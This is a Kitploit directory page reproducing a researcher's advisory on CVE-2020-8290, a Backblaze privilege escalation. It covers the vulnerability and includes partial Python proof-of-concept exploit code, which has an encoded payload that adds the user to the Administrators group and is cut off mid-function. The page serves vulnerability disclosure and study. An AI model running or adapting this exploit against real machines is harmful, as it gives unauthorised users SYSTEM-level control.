Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-8290 — CVE-2020-8290 – Elevation of Privilege in Backblaze | Kitploit
Tools/GitHubGitHub/geffner/cve-2020-8290
Privilege EscalationVulnerability AnalysisExploitationPenetration Testing
GitHubgeffner/cve-2020-8290

CVE-2020-8290

CVE-2020-8290 – Elevation of Privilege in Backblaze

View Repository
15 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-8290 – Elevation of Privilege in Backblaze

Summary

Name: Elevation of Privilege in Backblaze
CVE: CVE-2020-8290
Discoverer: Jason Geffner
Vendor: Backblaze
Product: Backblaze for Windows and Backblaze for macOS
Risk: High
Discovery Date: 2020-03-13
Publication Data: 2020-09-09
Fixed Version: 7.0.0.439

Introduction

Per Wikipedia, Backblaze is

"an online backup tool that allows Windows and macOS users to back up their data to offsite data centers. The service is designed for businesses and end-users, providing unlimited storage space and supporting unlimited file sizes."

Vulnerable versions of Backblaze for Windows and Backblaze for macOS contain a high risk vulnerability that allows a local unprivileged attacker to perform an elevation of privilege (EOP) attack to become SYSTEM/root.

Vulnerability

The Backblaze client's service process, named bzserv, runs as SYSTEM on Windows and as root on macOS. Every couple of hours, bzserv runs a program named bztransmit (executed as SYSTEM/root) to download an XML file named clientversion.xml from Backblaze's data center to see if a newer version of the Backblaze client is available for download, and if so, downloads the latest client version's installer from Backblaze's data center. The downloaded installer is saved to the %ProgramData%\Backblaze\bzdata\bzupdates directory in Windows and to the /Library/Backblaze.bzpkg/bzdata/bzupdates or /Library/Backblaze/bzdata/bzupdates directory on macOS. Once downloaded, bztransmit runs the downloaded installer as SYSTEM via ShellExecute() or as root via system().

On Windows, the %ProgramData%\Backblaze\bzdata directory is created at install-time such that local unprivileged users have read- and write-access. The bztransmit process creates the bzupdates child directory while it's running as SYSTEM, and unprivileged users do not have read- or write-access to this child directory once it's created. However, the bztransmit process does not securely verify the ACL on this bzupdates directory if it already existed, nor does it securely update the ACL if the directory already existed. As such, a local unprivileged attacker can create the %ProgramData%\Backblaze\bzdata\bzupdates directory prior to Backblaze's installation, or create the bzupdates child directory under %ProgramData%\Backblaze\bzdata after Backblaze is installed and before bztransmit creates the bzupdates child directory. This allows the attacker to be the owner of the bzupdates directory and have full control over the files in that directory. Thus, the attacker can modify or replace the downloaded update executable after it's downloaded and before it's executed, thereby allowing for local EOP.

On macOS, the /Library/Backblaze.bzpkg/bzdata (or /Library/Backblaze/bzdata) directory is created at install-time with permissions 0777 (drwxrwxrwx), such that local unprivileged users have read- and write-access. The bztransmit process creates the bzupdates child directory with permissions 0755 (drwxr-xr-x) while it's running as root, and unprivileged users do not have read- or write-access to this child directory once it's created. However, the bztransmit process does not securely verify the permissions on this bzupdates directory if it already existed, nor does it securely update the permissions if the directory already existed. As such, a local unprivileged attacker can create the bzupdates child directory under /Library/Backblaze.bzpkg/bzdata (or /Library/Backblaze/bzdata) after Backblaze is installed and before bztransmit creates the bzupdates child directory. This allows the attacker to be the owner of the bzupdates directory and have full control over the files in that directory. Thus, the attacker can modify or replace the downloaded update executable after it's downloaded and before it's executed, thereby allowing for local EOP.

Proof of Concept

Video: https://youtu.be/OpC6neWd2aM

The above video shows two concurrent logins to the same VM: an administrator's session on the left, and an unprivileged attacker's session on the right. You can see the following steps in the in the video:

  1. Attacker runs net localgroup Administrators to show that the unprivileged attacker's account (named Attacker) is not a member of the Administrators group.
  2. Attacker runs python eop.py (whose source code is below).
  3. The administrator then installs Backblaze.
  4. Six minutes later, the installed Backblaze service downloads clientversion.xml, which the exploit overwrites.
  5. One minute later, the installed Backblaze service downloads the updater executable, which the exploit overwrites.
  6. The Backblaze service then runs the overwritten updater, which adds the Attacker account to the Administrators group.
  7. The attacker then runs net localgroup Administrators again to show that the Attacker account has indeed been added to the Administrators group. Local privilege elevation complete.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""


__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time


def wait_for_filesystem_object(file_path):
    if os.path.exists(file_path):
        return
    parent_directory = os.path.dirname(file_path)
    if not os.path.exists(parent_directory):
        wait_for_filesystem_object(parent_directory)
    buffer = ctypes.create_string_buffer(1024)
    bytes_returned = ctypes.c_ulong()
    if "." in os.path.basename(file_path):
        notify_filter = 8
    else:
        notify_filter = 2
    h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
                                           0x02000000, None)
    while not os.path.exists(file_path):
        ctypes.windll.kernel32.ReadDirectoryChangesW(
            h, ctypes.byref(buffer), 1024, False, notify_filter,
            ctypes.byref(bytes_returned), None, None)
    ctypes.windll.kernel32.CloseHandle(h)


def get_exe_content():
    #
    # Returns the content of an EXE that will add the attacker to the
    # Administrators group. Based on
    # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
    #
    exe_content = bz2.decompress(base64.b85decode(
        "LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
        "~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
        "p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
    exe_content += ("NET LOCALGROUP Administrators " +
                    f"{os.environ['USERDOMAIN']}\\" +
                    f"{os.environ['USERNAME']} /ADD").encode()
    return exe_content


def am_i_admin():
    bufptr = ctypes.c_void_p()
    ctypes.windll.netapi32.NetUserGetInfo(
        os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
        ctypes.byref(bufptr))
    if platform.architecture()[0] == "32bit":
        usri1_priv = ctypes.string_at(bufptr, 13)[-1]
    else:
        usri1_priv = ctypes.string_at(bufptr, 21)[-1]
    ctypes.windll.netapi32.NetApiBufferFree(bufptr)
    return usri1_priv == 2


def poc():
    print(f"Running as user: {os.environ['USERNAME']}")
Download Tool